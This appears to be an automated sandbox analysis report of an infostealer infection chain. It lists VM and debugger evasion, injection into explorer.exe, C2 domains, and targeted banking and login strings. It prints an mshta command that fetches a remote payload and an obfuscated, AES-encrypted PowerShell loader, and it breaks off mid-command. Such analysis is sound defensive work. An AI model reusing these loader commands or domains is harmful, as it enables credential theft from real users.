Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: explorer.exe PID: 4456, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\explorer.exe

System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	API/Special instruction interceptor: Address: 6BD97C44
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	API/Special instruction interceptor: Address: 6C3F7C44
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	API/Special instruction interceptor: Address: 6C3F7945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 6C3F3B54
Source: C:\Windows\SysWOW64\explorer.exe	API/Special instruction interceptor: Address: 48A317

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1575	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1566	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5278	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4490	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\jetpackhandler[1]	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DebugCloud\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DebugCloud\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\msvcr90.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ixxqhy	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe

API coverage: 0.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4308	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 4304	Thread sleep time: -180000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_0040301A GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,		13_2_0040301A
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_00402B79 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,		13_2_00402B79

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: pyexec.exe, 00000013.00000002.2720741424.0000000008756000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWlorer_Server
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974641858.00000000057A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: mshta.exe, 00000005.00000003.2439778155.000001AF022EB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2450337978.000001AF02352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439296103.000001AF02352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451826847.000001AF02369000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2450543481.000001AF02367000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451618316.000001AF022EC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3329910211.000001F177840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3327815805.000001F172024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3329975523.000001F17785A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3108891689.0000000002AA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974641858.00000000057A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: powershell.exe, 00000007.00000002.2425378030.00000192D5021000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}x
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: powershell.exe, 00000007.00000002.2423700886.00000192D4FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: powershell.exe, 00000007.00000002.2423700886.00000192D4FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3108891689.0000000002AA1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3108211870.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3028941113.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3030211011.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3053185280.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: powershell.exe, 00000007.00000002.2425378030.00000192D5021000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\-21
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: pyexec.exe, 00000013.00000002.2720741424.0000000008756000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mvmware
Source: explorer.exe, 00000016.00000003.2974818516.0000000005731000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe

Code function: 14_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

14_2_004030A8

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_00406D5D LoadLibraryA,GetProcAddress,GetModuleHandleW,GetWindow,GetWindow,LoadIconW,GetWindow,

13_2_00406D5D

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe

Code function: 14_2_004022C0 free,free,VirtualFree,free,GetProcessHeap,HeapFree,

14_2_004022C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	14_2_004030A8
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_00402CAD SetUnhandledExceptionFilter,	14_2_00402CAD
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C1E8908 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	14_2_6C1E8908
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BC38908 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	19_2_6BC38908

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 104.21.64.1 443

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	NtQuerySystemInformation: Direct from: 0x401CF4
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	NtSetInformationThread: Direct from: 0x6BAF5790

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 4456 base: 4879C0 value: 55
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 4456 base: 2850008 value: 00

LummaC encrypted strings found

Source: cmd.exe, 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: cmd.exe, 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: cmd.exe, 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: cmd.exe, 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: cmd.exe, 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: cmd.exe, 00000014.00000002.2899568110.0000000005620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: abrasigehs.my

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe

Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 4879C0
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2850008

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Crea	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\JIKJCBEX.exe "C:\Users\user\AppData\Roaming\JIKJCBEX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Process created: C:\Users\user\AppData\Local\Temp\pyexec.exe "C:\Users\user\AppData\Local\Temp\pyexec.exe"
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = 'fade726ec81dfd3f47037f042ef8401db0c673ac82c7f07cf239824d9f13d31cc34a48159523b6240876804d8d0f45c63b7f305bf972561bb383c5de1b212eaebd9393828392adf2f0c818b7c81e13305ee79ac57bb28f88705407339b5e331a1824c5337405f9b12c273c290266c194f7a0705f30051a6e32f2acd43af7923bc2036005ac59eb511359204f6f4bcde3b99abd800a9a63459862b8e84cd0ba528d00af332e9705a4a27397e9a17c7e3903032e2dc488db38b105da51e446807ba7e2217f53f814d7dff388025e85364b295a3466fc47dc34cb0cf84afbde42ceecc66aa2d82525aad120aec3e369e138bff16b98de2dcb99cc038eae530a4450e055785f11f93f9626451ffa2c582fd31260cba4abf728b5d2a43b2b77ebac5a1ff29b98f13feacf472c707190216c4478a13bf872160916af8a462c7ac1ae7aa399014f5d33f9416d3651c53350743316460f1a7eff440bd1f9cb3133972ec1c0f373037663ff8a202817faf61a0674b405719cb346d01663def90ff161dce0e427f7badfebea79d7633684fd9bcab66ae2ae94ddec44d348f21bcb33b4f1eae78ff4d7a0896ae9cbbda4e387b16b1c4867ec2f10bd2dfb713bf84db14174254cfa25119ab9f800b3868cf767d6b5461d28fc1a0888c9b0cb9cc6f97df8c2b7f119c86d2cbe1feeecd69064518b70102cea17ab2c66975fa7a2a64ba1d939d5541723ae5c75044f34859dc3aee9ada2a419e34cf6df00b386a7e1b92577372f96968261c1ac2f7cb98088e1235048e0fb9b37f514be3b4e708239582199deacf1415c3d828fcf7dee962560ed66ce2e9e7907f7d52a62a581f449e9f43846cb63bae8ad8ad8e177603d18459090021c4bdf04eb239533e7a99fe772f2925bd36168a8814f84fc40cd27cea9d936c4e156e8ad7f85b04571885a70f150a84ee636856a89a7323443184a571298fed07482ff23ae216f255fb19e0056109f6b6890b5e7e6196667bdaa81489f138f67e20aff0c8c58a47a941c9d21b94eff4a33cbc64867bfa2423d63e39129781093cae93e0453886976453e45e222ef0e53af30a48879bdc920de28bce07a4ed4ce62b1557204d44d889786856b66730daa95f6520d040754a319074c680fedae9b63bc73db7310260ade941a00bbce675eb12caf9c7dbf5b331df9eb756037d0de05cd36fc513395fa62df03daf6a4c83576adcf4c33db24c9920ba435961e36affd378e582fb4151b719ca9c6798884f052d9fffd747c4679721e7c66cb9acf43ff576714a6c9096518c0d730955d0890dbc5a98331cf010619f2c726e3830b4e1c94e8506ddacd7cfb8a84ae989ff3c728f7e6363835f270b1cada419955c8d42d62bae3afb5ecf21925bb61cf4803120404764aa4fef6dc8df4512af02bd6568a38f637046b5bd8fd212d338094975d5dcaed466e53f522df22a4326708a095aa8538e09f426f64dc861782240cb6b8d20f883a5248e178a706293976065e3276d513d6b1faf2ea5142f90300841bad80eb5fb1c07aa4061840a5ac3559542293dd6b7e4212543bdd248ae78acd7bc131238b3c705ec8ec0d4535bc65c834230bb53e53aaeafa4a8b4ce2e0abd625a6d7802c5afd2fa5b18d582bd1c3d1a33d90d3e1a890cc51a9c57287cf4165605f2cd6cdcef6ebaf8c0063a91e858750bfb4696faf3caf17fca2edfde6724e4958135f8d76edda689330f8180f43e854c39d664880b15b184117d41b5322a99c5ab72fdd6dcfc1e700a4f86b4c906cd33c2d936757441cea48684509ece38638e9ba8be586092ab58de22a995d7684ddc8c996a30503f5934bc7f7c4b1e4b1f439662c19389adb94fd8c1e12f3cb0fe7e6186e52734d69526f786e45487442746c4d';function htj ($exbsr){return -split ($exbsr -replace '..', '0x$& ')};$tsqhdzeq = htj($ddg.substring(0, 2656));$cfy = [system.security.cryptography.aes]::crea
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = 'fade726ec81dfd3f47037f042ef8401db0c673ac82c7f07cf239824d9f13d31cc34a48159523b6240876804d8d0f45c63b7f305bf972561bb383c5de1b212eaebd9393828392adf2f0c818b7c81e13305ee79ac57bb28f88705407339b5e331a1824c5337405f9b12c273c290266c194f7a0705f30051a6e32f2acd43af7923bc2036005ac59eb511359204f6f4bcde3b99abd800a9a63459862b8e84cd0ba528d00af332e9705a4a27397e9a17c7e3903032e2dc488db38b105da51e446807ba7e2217f53f814d7dff388025e85364b295a3466fc47dc34cb0cf84afbde42ceecc66aa2d82525aad120aec3e369e138bff16b98de2dcb99cc038eae530a4450e055785f11f93f9626451ffa2c582fd31260cba4abf728b5d2a43b2b77ebac5a1ff29b98f13feacf472c707190216c4478a13bf872160916af8a462c7ac1ae7aa399014f5d33f9416d3651c53350743316460f1a7eff440bd1f9cb3133972ec1c0f373037663ff8a202817faf61a0674b405719cb346d01663def90ff161dce0e427f7badfebea79d7633684fd9bcab66ae2ae94ddec44d348f21bcb33b4f1eae78ff4d7a0896ae9cbbda4e387b16b1c4867ec2f10bd2dfb713bf84db14174254cfa25119ab9f800b3868cf767d6b5461d28fc1a0888c9b0cb9cc6f97df8c2b7f119c86d2cbe1feeecd69064518b70102cea17ab2c66975fa7a2a64ba1d939d5541723ae5c75044f34859dc3aee9ada2a419e34cf6df00b386a7e1b92577372f96968261c1ac2f7cb98088e1235048e0fb9b37f514be3b4e708239582199deacf1415c3d828fcf7dee962560ed66ce2e9e7907f7d52a62a581f449e9f43846cb63bae8ad8ad8e177603d18459090021c4bdf04eb239533e7a99fe772f2925bd36168a8814f84fc40cd27cea9d936c4e156e8ad7f85b04571885a70f150a84ee636856a89a7323443184a571298fed07482ff23ae216f255fb19e0056109f6b6890b5e7e6196667bdaa81489f138f67e20aff0c8c58a47a941c9d21b94eff4a33cbc64867bfa2423d63e39129781093cae93e0453886976453e45e222ef0e53af30a48879bdc